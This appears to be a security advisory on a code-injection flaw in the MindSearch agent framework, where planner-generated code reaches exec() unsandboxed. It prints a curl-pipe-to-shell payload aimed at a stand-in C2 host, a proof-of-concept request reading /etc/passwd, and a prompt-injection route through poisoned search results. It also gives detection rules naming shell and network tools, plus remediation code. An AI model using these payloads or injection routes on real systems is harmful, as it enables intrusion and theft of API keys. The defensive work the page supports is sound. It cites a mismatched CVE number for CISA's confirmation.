CVE-2026-105135: InternLM MindSearch Autonomous Planner Agent ExecutionAction Python Code Injection
HERMES THREAT SCORE & AUTONOMOUS AI AGENT EXPOSURE
Target:InternLM MindSearch Multi-Agent Framework โ Planner Agent & Graph Execution Engine CVSS v3.1 rates this flaw at 10.0 (Critical). The Hermes Threat Score assigns 97 (CRITICAL) coupled with an Agentic Security Score (HASS) of 98 (EXTREME). MindSearch is an open-source autonomous multi-agent search framework where a high-level Planner Agent breaks down complex user queries into a directed acyclic graph (DAG) of searcher and code executor sub-agents. The ExecutionAction.run method in mindsearch/agent/graph.py receives user queries or sub-agent outputs and directly evaluates Python code blocks without abstract syntax tree (AST) filtering, sandboxing, or system-level namespace isolation. An unauthenticated attacker transmitting crafted search queries or interacting with the public REST API can inject arbitrary Python code that executes under the host operating system privileges of the agent service, enabling complete exfiltration of model weights, API keys, and internal cluster resources.
CVE-2026-105135: InternLM MindSearch Autonomous Planner Agent ExecutionAction Python Code InjectionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in InternLM MindSearch Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Vulnerability Anatomy & Root Cause
Section titled โ1. Technical Vulnerability Anatomy & Root CauseโInternLM MindSearch decomposes complex information retrieval into multi-agent workflows. The central controller is the Planner Agent, which maintains a dynamic execution graph of task nodes. Nodes in the graph can represent web search actions, sub-agent delegators, or code execution steps designed to aggregate and compute intermediate facts.
In mindsearch/agent/graph.py, the ExecutionAction class processes node logic. Instead of executing code inside an isolated container (such as Docker, gVisor, or WASM sandboxes), the run() function dynamically constructs a Python execution script and passes untrusted input directly to exec():
# Vulnerable implementation in mindsearch/agent/graph.py (v0.1.0)class ExecutionAction: def __init__(self, agent_config): self.config = agent_config
def run(self, inputs: dict) -> dict: """ Executes code generated by the Planner Agent or passed in intermediate graph state. Flaw: inputs['code'] or unsanitized parameters are evaluated directly in host Python. """ code_to_exec = inputs.get("code", "") context_vars = inputs.get("context", {})
# Security Flaw: Direct evaluation without AST validation or sandboxing local_scope = dict(**context_vars) try: exec(code_to_exec, globals(), local_scope) return {"status": "success", "result": local_scope.get("result", None)} except Exception as e: return {"status": "error", "message": str(e)}Because MindSearch exposes an unauthenticated API endpoint (typically /solve or /chat) that streams user prompts into the Planner Agentโs graph constructor, an adversary can use indirect prompt injection or direct API payloads to craft a malicious graph node containing arbitrary Python shell commands.
+-------------------------------------------------------------------------+| MINDSEARCH AUTONOMOUS AGENT REMOTE CODE EXECUTION |+-------------------------------------------------------------------------+| || [Attacker / Untrusted Web Query] || โ || โ POST /solve {"inputs": "Write summary and execute: ..."} || โผ || [Planner Agent (mindsearch/agent/graph.py)] || โ || โโโบ Parses prompt into Task Graph (DAG) || โ || โโโบ Synthesizes Node: ExecutionAction || โ โ || โ โโโบ code: "__import__('os').system('curl c2.host/rev | sh')"| โ โ || โ โผ || โ ExecutionAction.run() || โ โ || โ โผ [NO SANDBOX / NO AST VALIDATION] || โ exec(code_to_exec, globals(), local_scope) || โ || โผ || [Host OS Shell Execution] โโโบ Exfiltrates API Keys, Model Weights, AWS || |+-------------------------------------------------------------------------+2. Affected Versions & Remediation Matrix
Section titled โ2. Affected Versions & Remediation Matrixโ| Release Stream | Vulnerable Versions | Fixed Release | Operational Remediation |
|---|---|---|---|
| InternLM MindSearch | <= 0.1.0 | 0.1.1 / Workaround Patch | Enforce AST restrictions or containerized code sandbox |
3. Attack Surface & Agentic Exploit Vector
Section titled โ3. Attack Surface & Agentic Exploit VectorโThe exploit can be triggered either via direct API interaction or through adversarial web retrieval poisoning. When the agent fetches search snippets from untrusted external websites that contain indirect prompt injection instructions, the Planner Agent can be tricked into generating an ExecutionAction node containing attacker-supplied Python code.
A minimal direct API proof of concept:
POST /solve HTTP/1.1Host: agent.internal-cluster.local:8002Content-Type: application/json
{ "inputs": "Calculate aggregate metrics", "actions": [ { "name": "ExecutionAction", "args": { "code": "import subprocess; subprocess.run(['id; cat /etc/passwd'], shell=True)" } } ]}When evaluated, the command runs synchronously on the GPU/CPU worker node hosting the MindSearch server, inheriting all environment variables including HuggingFace tokens, OpenAI API keys, and internal Kubernetes service tokens.
4. Forensic Detection & Incident Triage
Section titled โ4. Forensic Detection & Incident Triageโtitle: Suspicious Python Subprocess Spawning from MindSearch Agentid: 9a38f712-4521-4d92-bb12-mindsearch-rcestatus: experimentaldescription: Detects unusual child process spawning (bash, sh, curl, wget, nc) originated by Python processes running the MindSearch agent framework.author: Hermes Codex Threat Intelligencedate: 2026-10-05references: - https://nvd.nist.gov/vuln/detail/CVE-2026-105135 - https://github.com/InternLM/MindSearch/issues/128logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/python' - '/python3' ParentCommandLine|contains: - 'mindsearch' - 'mindsearch.app' selection_child: Image|endswith: - '/bash' - '/sh' - '/dash' - '/curl' - '/wget' - '/nc' - '/ncat' condition: selection_parent and selection_childfalsepositives: - Legitimate custom bash scripts explicitly configured in non-production experimental workflowslevel: critical// Azure Sentinel / Microsoft Defender for Endpoint// Detect MindSearch Agent Python Spawning Network ShellsDeviceProcessEvents| where InitiatingProcessCommandLine has "mindsearch"| where FileName in~ ("bash", "sh", "dash", "zsh", "python", "curl", "wget", "nc")| project Timestamp, DeviceName, ActionType, FileName, CommandLine, InitiatingProcessCommandLine, AccountName| order by Timestamp desc#!/bin/bash# MindSearch Local Environment Audit Scriptecho "=== [1] Auditing Installed MindSearch Package ==="python3 -c "import mindsearch; print('MindSearch Version:', getattr(mindsearch, '__version__', 'unknown'))" 2>/dev/null
echo "=== [2] Inspecting mindsearch/agent/graph.py for Unsafe exec() ==="find $(python3 -c "import site; print(site.getsitepackages()[0])" 2>/dev/null) -name "graph.py" -path "*mindsearch*" -exec grep -n "exec(" {} +
echo "=== [3] Checking for Abnormal Established Outbound Connections ==="ss -tupn | grep -E 'python.*(curl|bash|wget)'5. Remediation Strategy & Mitigation Steps
Section titled โ5. Remediation Strategy & Mitigation Stepsโ-
Apply Hotfix to
mindsearch/agent/graph.py: Replace directexec()invocation with an AST-based validator or delegate code execution to an isolated container runtime (e.g., Docker container with dropped capabilities and no network access):# Recommended AST Validation & Safe Execution Wrapperimport astALLOWED_NODES = {ast.Module, ast.Expr, ast.Assign, ast.Constant, ast.Name,ast.BinOp, ast.UnaryOp, ast.Add, ast.Sub, ast.Mult, ast.Div,ast.List, ast.Dict, ast.Load, ast.Store}def validate_safe_ast(code_str: str):tree = ast.parse(code_str)for node in ast.walk(tree):if type(node) not in ALLOWED_NODES:raise SecurityError(f"Disallowed AST node type: {type(node).__name__}") -
Isolate Agent Execution Runtime: Deploy MindSearch inside an unprivileged container with read-only root filesystems and minimal network egress:
USER 10001:10001SECURITY_OPTS:- no-new-privileges:trueCAP_DROP:- ALL -
Enforce API Authentication & Network Segmentation: Place MindSearch backend API ports behind an authenticated API gateway (such as Envoy, Traefik, or Cloudflare Access) and never expose port 8002 directly to untrusted networks.
-
Rotate Secrets: If unauthenticated instances were accessible from external networks, rotate all model API keys (OpenAI, Anthropic, HuggingFace) and database credentials immediately.